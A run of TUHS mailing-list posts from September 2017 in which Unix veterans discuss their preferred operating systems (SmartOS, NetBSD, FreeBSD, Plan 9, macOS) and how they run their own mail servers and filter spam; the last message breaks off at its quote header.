- Salt Lake City, UT 84112-0090, USA    URL: http://www.math.utah.edu/~beebe/ -
-------------------------------------------------------------------------------


From brad at anduin.eldar.org  Thu Sep 21 04:33:16 2017
From: brad at anduin.eldar.org (Brad Spencer)
Date: Wed, 20 Sep 2017 14:33:16 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <2ffad123-91bc-2306-6897-ddfa2c1df490@kilonet.net> (message from
 Arthur Krewat on Wed, 20 Sep 2017 14:12:42 -0400)
Message-ID: <xon8th92par.fsf@anduin.eldar.org>

Arthur Krewat <krewat at kilonet.net> writes:

> On 9/20/2017 1:53 PM, Henry Bent wrote:
>> On 20 September 2017 at 12:58, Arthur Krewat <krewat at kilonet.net 
>> <mailto:krewat at kilonet.net>> wrote:
>>
>>     A note on the PC hardware front:
>>
>>
>> How do you feel about the fact that Solaris is essentially EOL now?  
>> I'm sure it will be reasonable to run for another year or two, but 
>> where will you go after that?
>>
>
> Don't make me cry in my coffee :(
>
> Personally, I'll either run with it for as long as I can and deal with 
> it, and hope that Oracle at least releases the last ZFS so it can be 
> incorporated somewhere, or go back to FreeBSD which I used to run before 
> Solaris X86 was available to me as Solaris 7, and use the earlier 
> version of ZFS.
>
> Professionally, there's only Linux now - I'll use Oracle Linux for 
> servers with Oracle products on them, but even then, I'm not liking the 
> NUMA support.


No need to cry..  at Dayjob we run Joyent SmartOS, which is Solaris done
by a bunch of former Sun folks.  Oracle need not apply..  There is a
private cloud infrastructure running a very large e-commerce site on it.
You may want to look into SmartOS or OmniOS if you want more of a
desktop experience.  Patches and pretty good support....  all around.

At Not Dayjob, it is all NetBSD.  Some i386/amd64 bare metal, lots of
Xen and some arm since 1993 or so.




-- 
Brad Spencer - brad at anduin.eldar.org - KC8VKS
http://anduin.eldar.org  - & -  http://anduin.ipv6.eldar.org [IPv6 only]


From gtaylor at tnetconsulting.net  Thu Sep 21 05:09:11 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Wed, 20 Sep 2017 13:09:11 -0600
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920175714.6wbik7z7auw73ihu@matica.foolinux.mooo.com>
References: <20170920162502.GN25650@mcvoy.com>
 <20170920175714.6wbik7z7auw73ihu@matica.foolinux.mooo.com>
Message-ID: <4f21f266-0403-5829-5edc-ee9a2d5caaa3@tnetconsulting.net>

On 09/20/2017 11:57 AM, Ian Zimmerman wrote:
> exim on a VPS.  Currently it is a linode running debian but I will have
> to find an outlet that supports BSD before systemd becomes unavoidable
> on debian, which I'm afraid is only a matter of time.

Hi Ian,

I'd strongly encourage you to reach out to Linode support (I've found 
them very responsive and helpful) and ask about BSD.

I believe you can do a micro install of something on one vDisk and then 
use that to boot strap install something else, possibly anything else.

I think I've even heard that you could get Windows installed via their 
GUI web console.  -  So I expect that BSD should be fairly easy to do.

I personally am planing on resizing a couple of VMs to a larger size w/ 
more CPU & disk to do a Gentoo install from my old CentOS.  Then I'll 
switch the boot disk, and ultimately remove CentOS & shrink back to the 
current size.

So, don't give up on Linode yet.  I bet you that they have a way for you 
to run BSD.

> spam is a problem but also a challenge ;-)

Agreed.  }:-)

> I'll never switch to gmail as my primary address.  The day when it's the
> only way is the day the Net dies, as I see it, and the day when I look
> for a different line of work (which maybe I should have done a while ago).

*salute*



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/0f880a91/attachment.bin>

From gtaylor at tnetconsulting.net  Thu Sep 21 05:11:07 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Wed, 20 Sep 2017 13:11:07 -0600
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <df98b79b-3cad-4911-94b7-713de2645a51.maildroid@localhost>
References: <20170920162502.GN25650@mcvoy.com>
 <20170920175714.6wbik7z7auw73ihu@matica.foolinux.mooo.com>
 <df98b79b-3cad-4911-94b7-713de2645a51.maildroid@localhost>
Message-ID: <6f51d817-7784-dc1d-8f74-e3c6b34bf0aa@tnetconsulting.net>

On 09/20/2017 12:22 PM, William Pechter wrote:
> Digital Ocean does FreeBSD  for me.  My mail hosting costs me $5 per 
> month.  Using postfix and zfs...

Digital Ocean has piqued my interest a few times.  I just did some 
looking, for a spam filtering test that I just did, and decided to stick 
with Linode.  But Digital Ocean has earned my respect in their 
interactions on Twitter too.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/77c7c3eb/attachment.bin>

From corey at lod.com  Thu Sep 21 04:51:22 2017
From: corey at lod.com (Corey Lindsly)
Date: Wed, 20 Sep 2017 11:51:22 -0700 (PDT)
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920162502.GN25650@mcvoy.com>
Message-ID: <20170920185122.EB54D410F@lod.com>


> 
> I tried running my own server on mcvoy.com but eventually gave up, the
> spam filtering was a non-ending task.
> 
> If someone has a plug and chug setup for MX I'd love to try it.
> 
> Thanks,
> 
> --lm
> 

We provide email service for a few hundred (mostly legacy) customers. The 
essential elements of the system are:

Linux (HA pair)
Postfix
SpamAssassin
ClamAV
RBLs (Spamhaus)
MySQL database
Maia Mailguard

I spend maybe five minutes a week maintaining the system. The most 
important part is Maia Mailguard. Incoming email is scored by SpamAssassin 
(higher = more likely to be spam). Above some threshold, which can be 
tuned up or down by the user, the mail is tossed into their spam 
quarantine. The user is able to browse this quarantine. False positives 
can be freed-up and delivered as usual and the sender is whitelisted. 
True positives are confirmed and contribute to training the filter. After 
a little while the system gets pretty good at automatically 
distinguishing between spam and ham.

The important point of this system is that it puts the user in control. 
Too much spam? Turn the spam threshold setting down a little lower. Too 
many false positives? Turn that knob a bit higher. Expecting an important 
email? Whitelist the sender or check your spam quarantine. As a mail 
admin, my goal is to give the users the tools to manage their own email 
effectively according to their requirements. I don't want my phone 
ringing every time some user wants to complain that he gets too much spam.

The system has been a success. Complaints from the users have dropped to 
nearly zero. I spend very little time thinking about or dealing with the 
mail system. Stats follow.


As of: 2017-09-20 11:38:53 PDT 

Efficiency 99.35% False Positive 0.50% False Negative 0.15%
Sensitivity 99.84% PPV 99.45% Specificity 94.00% NPV 98.16%


--corey


From henry.r.bent at gmail.com  Thu Sep 21 05:20:37 2017
From: henry.r.bent at gmail.com (Henry Bent)
Date: Wed, 20 Sep 2017 15:20:37 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <xon8th92par.fsf@anduin.eldar.org>
References: <2ffad123-91bc-2306-6897-ddfa2c1df490@kilonet.net>
 <xon8th92par.fsf@anduin.eldar.org>
Message-ID: <CAEdTPBekNwJBHc1u_jgK_UCsY3w3e-J3J69QH+ujEvcrqiyzDQ@mail.gmail.com>

On 20 September 2017 at 14:33, Brad Spencer <brad at anduin.eldar.org> wrote:

>
> At Not Dayjob, it is all NetBSD.  Some i386/amd64 bare metal, lots of
> Xen and some arm since 1993 or so.
>

I ran NetBSD at home for over fifteen years until last year, on both a disk
server and a workstation, and usually on whatever odd hardware came my
way.  For the most part it was extremely clean and efficient, but at some
point I realized that for amd64 hardware there was a real lack of
performance as compared to Linux.  NetBSD is wonderful for running on older
or exotic hardware when performance is not the #1 consideration, and as far
as I know the networking stack is still among the best, but for a day to
day workstation it just wasn't able to cut it anymore.

-Henry
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/e5a7062d/attachment.html>

From itz at very.loosely.org  Thu Sep 21 05:25:53 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Wed, 20 Sep 2017 12:25:53 -0700
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <df98b79b-3cad-4911-94b7-713de2645a51.maildroid@localhost>
References: <20170920162502.GN25650@mcvoy.com>
 <20170920175714.6wbik7z7auw73ihu@matica.foolinux.mooo.com>
 <df98b79b-3cad-4911-94b7-713de2645a51.maildroid@localhost>
Message-ID: <20170920192553.6t5vobzybqzeyjh4@matica.foolinux.mooo.com>

On 2017-09-20 14:22, William Pechter wrote:

>> exim on a VPS.  Currently it is a linode running debian but I will
>> have to find an outlet that supports BSD before systemd becomes
>> unavoidable on debian, which I'm afraid is only a matter of time.

> Digital Ocean does FreeBSD  for me.  My mail hosting costs me $5 per
> month.  Using postfix and zfs...

I try to choose my words carefully, and here I wrote "supports" on
purpose even though it is a much overused word.

Linode will let me run FreeBSD, no problem, but they will not support
it.  That means, for example, no backups.

So when you write that DO "does" FreeBSD, how far do they go on the
support scale?

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From krewat at kilonet.net  Thu Sep 21 05:37:03 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Wed, 20 Sep 2017 15:37:03 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <xon8th92par.fsf@anduin.eldar.org>
References: <xon8th92par.fsf@anduin.eldar.org>
Message-ID: <7097a9ab-72d5-67c9-edae-58f2cb93c8bd@kilonet.net>



On 9/20/2017 2:33 PM, Brad Spencer wrote:
> Arthur Krewat <krewat at kilonet.net> writes:
>
>> Don't make me cry in my coffee :(
> No need to cry..  at Dayjob we run Joyent SmartOS, which is Solaris done
> by a bunch of former Sun folks.  Oracle need not apply..  There is a
> private cloud infrastructure running a very large e-commerce site on it.
> You may want to look into SmartOS or OmniOS if you want more of a
> desktop experience.  Patches and pretty good support....  all around.
>

Thank you for that. Eventually, I was going to ask the list if they knew 
of a decent version of Solaris that would fill my needs.

I'll take a look.


From pechter at gmail.com  Thu Sep 21 05:54:04 2017
From: pechter at gmail.com (William Pechter)
Date: Wed, 20 Sep 2017 15:54:04 -0400
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920192553.6t5vobzybqzeyjh4@matica.foolinux.mooo.com>
References: <20170920162502.GN25650@mcvoy.com>
 <20170920175714.6wbik7z7auw73ihu@matica.foolinux.mooo.com>
 <df98b79b-3cad-4911-94b7-713de2645a51.maildroid@localhost>
 <20170920192553.6t5vobzybqzeyjh4@matica.foolinux.mooo.com>
Message-ID: <6a3a0d10-61e0-4b5c-b770-0a74946432f3.maildroid@localhost>

Never used their support.  I keep nothing 
important on the server. 

I back up my stuff to my house over SSH with rsync. 

They have zfs snapshots and a remote console over web browser, so if I break it I fix it or reinstall.

If I get into too much trouble they do have support.  I am running from the bootable install they supplied and I used freebsd-update to go from 10.3 to 11.1 IIRC.

Bill

-----Original Message-----
From: Ian Zimmerman <itz at very.loosely.org>
To: tuhs at minnie.tuhs.org
Sent: Wed, 20 Sep 2017 15:26
Subject: Re: [TUHS] Who is running their own mail server and what do you run?

On 2017-09-20 14:22, William Pechter wrote:

>> exim on a VPS.  Currently it is a linode running debian but I will
>> have to find an outlet that supports BSD before systemd becomes
>> unavoidable on debian, which I'm afraid is only a matter of time.

> Digital Ocean does FreeBSD  for me.  My mail hosting costs me $5 per
> month.  Using postfix and zfs...

I try to choose my words carefully, and here I wrote "supports" on
purpose even though it is a much overused word.

Linode will let me run FreeBSD, no problem, but they will not support
it.  That means, for example, no backups.

So when you write that DO "does" FreeBSD, how far do they go on the
support scale?

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From jacob.ritorto at gmail.com  Thu Sep 21 05:58:32 2017
From: jacob.ritorto at gmail.com (Jacob Ritorto)
Date: Wed, 20 Sep 2017 15:58:32 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <7097a9ab-72d5-67c9-edae-58f2cb93c8bd@kilonet.net>
References: <xon8th92par.fsf@anduin.eldar.org>
 <7097a9ab-72d5-67c9-edae-58f2cb93c8bd@kilonet.net>
Message-ID: <CAHYQbfCKOR+LqWTxw8bP1Ec+9UcyYZJKjjSO9JaGR0AnOekAkA@mail.gmail.com>

  Been on MacOS + SmartOS for DayJob + home since 6 years (actually
migrated from Linux to SmartOS for measurable performance gains and
containers model).  Pretty happy sailing other than having to modify a lot
of Chef recipes to accommodate different paths...
  New day job is Gnu/Linux, boring as that may seem..  But they offered
remote, so, you know..

Oh, and also, FreeBSD for the Raspberry Pis.  Has native zfs!

thx
jake

On Wed, Sep 20, 2017 at 3:37 PM, Arthur Krewat <krewat at kilonet.net> wrote:

>
>
> On 9/20/2017 2:33 PM, Brad Spencer wrote:
>
>> Arthur Krewat <krewat at kilonet.net> writes:
>>
>> Don't make me cry in my coffee :(
>>>
>> No need to cry..  at Dayjob we run Joyent SmartOS, which is Solaris done
>> by a bunch of former Sun folks.  Oracle need not apply..  There is a
>> private cloud infrastructure running a very large e-commerce site on it.
>> You may want to look into SmartOS or OmniOS if you want more of a
>> desktop experience.  Patches and pretty good support....  all around.
>>
>>
> Thank you for that. Eventually, I was going to ask the list if they knew
> of a decent version of Solaris that would fill my needs.
>
> I'll take a look.
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/e0352f50/attachment.html>

From bakul at bitblocks.com  Thu Sep 21 05:59:17 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Wed, 20 Sep 2017 12:59:17 -0700
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
Message-ID: <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>


> On Sep 20, 2017, at 9:39 AM, Jon Steinhart <jon at fourwinds.com> wrote:
> 
> I run my own server using sendmail.  Part of what makes it work is an accretion
> of crud that I have hooked to it over the years which I wouldn't particularly
> suggest to anyone else.
> 
> So yes, spam is a big problem.  I manage it in a crude but effective way.  I
> have a milter (mail filter) that I cobbled together that is invoked by sendmail.
> I also have a separate "spam" user.  What the milter does is to take anything
> that it considers to be spam and rewrites the address so that it goes to the
> spam user.  I have permissions set up so that I can easily check on spam when I
> have time.  Oh yeah, another of my curmudgeon credentials is that I use nmh for
> my MUA (I'm a maintainer).

I use postfix + postgrey. But greylisting doesn't seem to work
any more. I detect spam using various scripts. As you put it,
"accretion of crud"!  I block spammer IP addrs via pf.
Probably not the right thing to do.  Should look into various
anti-spamming mail filters again. It is trivial to manually
detect spam so probably should experiment with NN code for
this.

I too use nmh (and MH before then). But since my last upgrade
repl, comp, forw seem to bring up a blank X-MH-Attachment in
vi.  Used to bring ~/Mail/drafts/<number> file, initialized
with interpreted contents of "components" or "replcomps" file.
Haven't gotten around to  looking into this. [This is a
problem with many "maintained" software packages.  Things
evolve and if you update only sporadically, you just may miss
a crucial update or two!]

From jason-tuhs at shalott.net  Thu Sep 21 06:13:57 2017
From: jason-tuhs at shalott.net (jason-tuhs at shalott.net)
Date: Wed, 20 Sep 2017 13:13:57 -0700 (PDT)
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920162502.GN25650@mcvoy.com>
References: <20170920162502.GN25650@mcvoy.com>
Message-ID: <alpine.LRH.2.21.1709201302190.6255@waffle.shalott.net>


> I tried running my own server on mcvoy.com but eventually gave up, the 
> spam filtering was a non-ending task.
>
> If someone has a plug and chug setup for MX I'd love to try it.

I run my own mail.  Linux and FreeBSD servers, running qmail (plus lots of 
patches) and dovecot (and local, direct maildir access on the servers, for 
users who want to run alpine or mutt).

The stackable filters concept in qmail (and other DJB software) makes it 
ridiculously easy to write plugins using the language/toolkit of your 
choice, so you can easily pass all mail through spamassasin, clamav, 
defer-first/gray-listing setups, RBLs, etc.  I spent some time on this 
setup years ago, and haven't really touched it since, yet it still seems 
to keep the spam down to manageable levels.

The real challenge in hosting your own mail seems to be on the outbound 
side.  Google seems to be pretty distrustful of small, hobbyist systems, 
even though none of my IPs has ever been used for spamming, and I took the 
time to setup stuff like SPF.  I haven't heard too many complaints lately, 
but for a while, I had a number of users complaining that their emails 
were always being marked as spam for gmail users...


  -Jason



From jason-tuhs at shalott.net  Thu Sep 21 06:56:41 2017
From: jason-tuhs at shalott.net (jason-tuhs at shalott.net)
Date: Wed, 20 Sep 2017 13:56:41 -0700 (PDT)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <A0B2CA15-9392-4881-8FC1-395968167714@orthanc.ca>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <A0B2CA15-9392-4881-8FC1-395968167714@orthanc.ca>
Message-ID: <alpine.LRH.2.21.1709201354420.6255@waffle.shalott.net>


>> Definitely FreeBSD, because it's solid, has thousands of ports, and 
>> well, is BSD...  And I access it via my MacBook :-)
>
> Free is nice as a desktop environment, but over the last several years 
> it has accreted a lot of bloat.  Ever since clang arrived I've become 
> much less enamoured with it, despite being an active user since the 1.x 
> days.  As a server platform, anything I cannot remotely install over the 
> network using PXE, tftp, and http via the IPMI console is a non-starter. 
> That's the show stopper that's keeping it out of our data centres right 
> now.

Has FreeBSD lost the ability to do unattended PXE installs?  Certainly 
this capability was there in the old sysinstall installer, and I used it 
extensively back in the FreeBSD-3 through FreeBSD-6 days.


My personal preference is still for FreeBSD, and it's what I use on my 
personal desktops, laptops, and most servers.


Most of my professional experience has been with Redhat Linux.  During the 
dot-com era, I found Linux to be disappointing (relative to BSD), but it's 
obviously caught up by this point, and I think it's a fine choice.


I tried hard to like Mac OSX.  On paper, it seemed like the ideal thing: a 
real unix kernel (well, sort of...) married to a "real" UI.  But in 
practice, I've found it hugely disappointing.  My main complaint is that 
the interfaces have been so unstable.  "It's just unix; you configure it 
by just editing files!  Oh, except that we decided to switch all the apps 
to reading this NetInfo database, we just left the flat files in /etc 
for... reasons... but all shipped software ignores them.  Wait, did I say 
NetInfo?  I meant OpenDirectory."  It felt like important interfaces were 
changing practically with every version, and not updating was, of course, 
not an option.

And then there was the whole Darwin v. OpenDarwin debacle and the 
basically fake approach to being open source.

It eventually became clear to me that Apple's intention was that users 
should never look under the hood nor tinker with the system.  And since 
looking under the hood and tinkering are kind of _sine qua non_ for me for 
an operating system, I stopped using it.


  -Jason




From jon at fourwinds.com  Thu Sep 21 07:26:32 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Wed, 20 Sep 2017 14:26:32 -0700
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
Message-ID: <201709202126.v8KLQWcj018541@darkstar.fourwinds.com>

Bakul Shah writes:
> 
> 
> > On Sep 20, 2017, at 9:39 AM, Jon Steinhart <jon at fourwinds.com> wrote:
> > 
> > I run my own server using sendmail.  Part of what makes it work is an accretion
> > of crud that I have hooked to it over the years which I wouldn't particularly
> > suggest to anyone else.
> > 
> > So yes, spam is a big problem.  I manage it in a crude but effective way.  I
> > have a milter (mail filter) that I cobbled together that is invoked by sendmail.
> > I also have a separate "spam" user.  What the milter does is to take anything
> > that it considers to be spam and rewrites the address so that it goes to the
> > spam user.  I have permissions set up so that I can easily check on spam when I
> > have time.  Oh yeah, another of my curmudgeon credentials is that I use nmh for
> > my MUA (I'm a maintainer).
> 
> I use postfix + postgrey. But greylisting doesn't seem to work
> any more. I detect spam using various scripts. As you put it,
> "accretion of crud"!  I block spammer IP addrs via pf.
> Probably not the right thing to do.  Should look into various
> anti-spamming mail filters again. It is trivial to manually
> detect spam so probably should experiment with NN code for
> this.
> 
> I too use nmh (and MH before then). But since my last upgrade
> repl, comp, forw seem to bring up a blank X-MH-Attachment in
> vi.  Used to bring ~/Mail/drafts/<number> file, initialized
> with interpreted contents of "components" or "replcomps" file.
> Haven't gotten around to  looking into this. [This is a
> problem with many "maintained" software packages.  Things
> evolve and if you update only sporadically, you just may miss
> a crucial update or two!]

Um, well, while I am a maintainer I have been too busy to pay attention
to it in the last couple of years.  I am the person who invented/wrote the
attachment code for nmh.  I asked and asked for feedback on the design
before implementing it an received none.  Things were find for about a
decade and then all of a sudden folks had a myriad of complaints and made
a bunch of changes.  My suggestion is that you mention this on their
mailing list after making sure that you have the latest stuff installed.
I do recall that a few changes were made some years back which broke stuff
if one had customized the components files for their own installation.

Jon


From tytso at mit.edu  Thu Sep 21 08:25:46 2017
From: tytso at mit.edu (Theodore Ts'o)
Date: Wed, 20 Sep 2017 18:25:46 -0400
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <alpine.LRH.2.21.1709201302190.6255@waffle.shalott.net>
References: <20170920162502.GN25650@mcvoy.com>
 <alpine.LRH.2.21.1709201302190.6255@waffle.shalott.net>
Message-ID: <20170920222546.7zp2irz7xg6vhsrh@thunk.org>

On Wed, Sep 20, 2017 at 01:13:57PM -0700, jason-tuhs at shalott.net wrote:
> I run my own mail.  Linux and FreeBSD servers, running qmail (plus lots of
> patches) and dovecot (and local, direct maildir access on the servers, for
> users who want to run alpine or mutt).

I run my own e-mail as well.  I use Debian Stable on Linode, using
dovecot, exim, and spamassassin.

> The real challenge in hosting your own mail seems to be on the outbound
> side.  Google seems to be pretty distrustful of small, hobbyist systems,
> even though none of my IPs has ever been used for spamming, and I took the
> time to setup stuff like SPF.  I haven't heard too many complaints lately,
> but for a while, I had a number of users complaining that their emails were
> always being marked as spam for gmail users...

The big thing is to use SPF and DKIM (I use opendkim), and to make
sure your IP address (or IPv6 address block) is clean.  If it is not,
you might have to ask your hosting provider to give you a clean IP
address.

					- Ted


From itz at very.loosely.org  Thu Sep 21 08:29:05 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Wed, 20 Sep 2017 15:29:05 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <CAHYQbfCKOR+LqWTxw8bP1Ec+9UcyYZJKjjSO9JaGR0AnOekAkA@mail.gmail.com>
References: <xon8th92par.fsf@anduin.eldar.org>
 <7097a9ab-72d5-67c9-edae-58f2cb93c8bd@kilonet.net>
 <CAHYQbfCKOR+LqWTxw8bP1Ec+9UcyYZJKjjSO9JaGR0AnOekAkA@mail.gmail.com>
Message-ID: <20170920222905.2tczhcijrvut6acy@matica.foolinux.mooo.com>

On 2017-09-20 15:58, Jacob Ritorto wrote:

> Oh, and also, FreeBSD for the Raspberry Pis.  Has native zfs!

Funny you mention this: I just tried this an hour ago.

But no joy: the SD card images are all for armv6 (Pi 1 & 2), but I have
the Pi 3 which is aarch64.  And as far as I know it cannot boot from USB
storage.

How did you do it, if you have a Pi 3 ?

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From imp at bsdimp.com  Thu Sep 21 08:31:38 2017
From: imp at bsdimp.com (Warner Losh)
Date: Wed, 20 Sep 2017 16:31:38 -0600
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170920222905.2tczhcijrvut6acy@matica.foolinux.mooo.com>
References: <xon8th92par.fsf@anduin.eldar.org>
 <7097a9ab-72d5-67c9-edae-58f2cb93c8bd@kilonet.net>
 <CAHYQbfCKOR+LqWTxw8bP1Ec+9UcyYZJKjjSO9JaGR0AnOekAkA@mail.gmail.com>
 <20170920222905.2tczhcijrvut6acy@matica.foolinux.mooo.com>
Message-ID: <CANCZdfqT11QJGAbm=ZK3EWLCZd-FzfPE5UFeNUryLWxjv9UyFw@mail.gmail.com>

On Wed, Sep 20, 2017 at 4:29 PM, Ian Zimmerman <itz at very.loosely.org> wrote:

> On 2017-09-20 15:58, Jacob Ritorto wrote:
>
> > Oh, and also, FreeBSD for the Raspberry Pis.  Has native zfs!
>
> Funny you mention this: I just tried this an hour ago.
>
> But no joy: the SD card images are all for armv6 (Pi 1 & 2), but I have
> the Pi 3 which is aarch64.  And as far as I know it cannot boot from USB
> storage.
>
> How did you do it, if you have a Pi 3 ?


I thought FreeBSD had pi3 -current snapshots...  If not, a custom image
with NanoBSD or crochet isn't hard to knock together.

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/c06d4987/attachment.html>

From steve at quintile.net  Thu Sep 21 08:40:53 2017
From: steve at quintile.net (Steve Simon)
Date: Wed, 20 Sep 2017 23:40:53 +0100
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
Message-ID: <b36dcc941c0ab204dd92fe45ad090b28@quintile.net>

Is plan9 unix-ish enough?

I run plan9 on a raspberry pi at work with Remote Desktop to
win7 for corporate apps. A plan9  mini ITX box for web/mail/file/dns
at home, Osx Mac for photos, and iPads for kids.

-Steve


From erik at ono-sendai.com  Thu Sep 21 08:51:09 2017
From: erik at ono-sendai.com (Erik Berls)
Date: Wed, 20 Sep 2017 22:51:09 +0000
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <b36dcc941c0ab204dd92fe45ad090b28@quintile.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <b36dcc941c0ab204dd92fe45ad090b28@quintile.net>
Message-ID: <CAEFkZw_BvHhL8022U6-U1vEcjeeZD-9qO+uG19XYQA4S=6=7Bg@mail.gmail.com>

Desktop is a OS X box.

NetBSD on everything I can, but i'll admit to that getting harder and
harder, esp in the ARM world.

On Wed, Sep 20, 2017 at 15:41 Steve Simon <steve at quintile.net> wrote:

> Is plan9 unix-ish enough?
>
> I run plan9 on a raspberry pi at work with Remote Desktop to
> win7 for corporate apps. A plan9  mini ITX box for web/mail/file/dns
> at home, Osx Mac for photos, and iPads for kids.
>
> -Steve
>
-- 
-=erik.
--
Look, I lived through the Gray Davis years.  I *need* a UPS.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/ae04d60f/attachment.html>

From grog at lemis.com  Thu Sep 21 08:54:08 2017
From: grog at lemis.com (Greg 'groggy' Lehey)
Date: Thu, 21 Sep 2017 08:54:08 +1000
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <CANCZdfqzRWGEyj2cFYz5_sH8OW=OdjbSh=7Tb1Li9S4gJjv_9w@mail.gmail.com>
References: <20170920162502.GN25650@mcvoy.com>
 <CANCZdfqzRWGEyj2cFYz5_sH8OW=OdjbSh=7Tb1Li9S4gJjv_9w@mail.gmail.com>
Message-ID: <20170920225408.GR42338@eureka.lemis.com>

On Wednesday, 20 September 2017 at 10:46:19 -0600, Warner Losh wrote:
>
> I ran my own server for bsdimp.com and village.org form the early
> 90s until 2009 or so.

I've been running my own server since 1992, first sendmail, then
postfix.  And yes, the only issue is spam.

> I switched to gmail when I was seriously looking at dropping $10k
> for a server that had enough horse power to filter the 50k-75k spam
> I was getting a month at that time.

My issue with spam filtering wasn't horsepower, which was only a
fraction of what you mention, but accuracy.  Spam was continually
getting through, legitimate messages were being marked as spam.  None
of the conventional methods, such as header analysis, were accurate
enough, and they required continual tweaking.  In addition, it seems
that Spamassassin passed its use-by date some years back.  See
http://www.lemis.com/grog/diary-jan2010.php#D1-10 : on 1 January 2010
I received a bounce with the message:

 3.2 FH_DATE_PAST_20XX      The date is grossly in the future.

That was fixed, of course, but it remained a pain.

> Switching to google was easier and I didn't have to spend the $10k
> nor the 4 hours a week on the care and feeding of the black lists,
> etc.

I felt very embarrassed, but I did something similar.  I now use gmail
as a spam filter, while retaining my own mail server.  Clearly
maintaining spam filtering is enough work that it should be left to
people who do it for a job.  But at least my headers show that the
mail comes from a lemis.com mail server.

Greg
--
Sent from my desktop computer.
Finger grog at lemis.com for PGP public key.
See complete headers for address and phone numbers.
This message is digitally signed.  If your Microsoft mail program
reports problems, please read http://lemis.com/broken-MUA
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 163 bytes
Desc: not available
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170921/70ab7426/attachment.sig>

From steve at quintile.net  Thu Sep 21 08:54:34 2017
From: steve at quintile.net (Steve Simon)
Date: Wed, 20 Sep 2017 23:54:34 +0100
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <8060db09-60d9-8113-ac4e-a7298211baf1@kilonet.net>
Message-ID: <1274eb5fe2051d0052af14155ba75a0a@quintile.net>

My spam filtering is all plan9 based but the ideals are all portable.

Greylisting and delaying a few secs before starting the SMTP
conversation are my most successful filters, After this comes
SPF and using spamhaus to validate the senders IP.

I reject some silly domains like localhost.com and usernames like
user and test.

I also have a list of regexps which match the reverse dns
addresses of adsl blocks which catch many spam bots.

The regexps sound like a lot of work but I have some scripts to
analyse my logs and suggest  patterns, so its just a click or two
I can block somthing like:

	dhcp.[0-9]+.[0-9]+.[0-9]+.[0-9]+.adsl.nasty-isp.net

-Steve


From dave at horsfall.org  Thu Sep 21 09:06:08 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Thu, 21 Sep 2017 09:06:08 +1000 (EST)
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920162502.GN25650@mcvoy.com>
References: <20170920162502.GN25650@mcvoy.com>
Message-ID: <alpine.BSF.2.21.1709210901380.89458@aneurin.horsfall.org>

On Wed, 20 Sep 2017, Larry McVoy wrote:

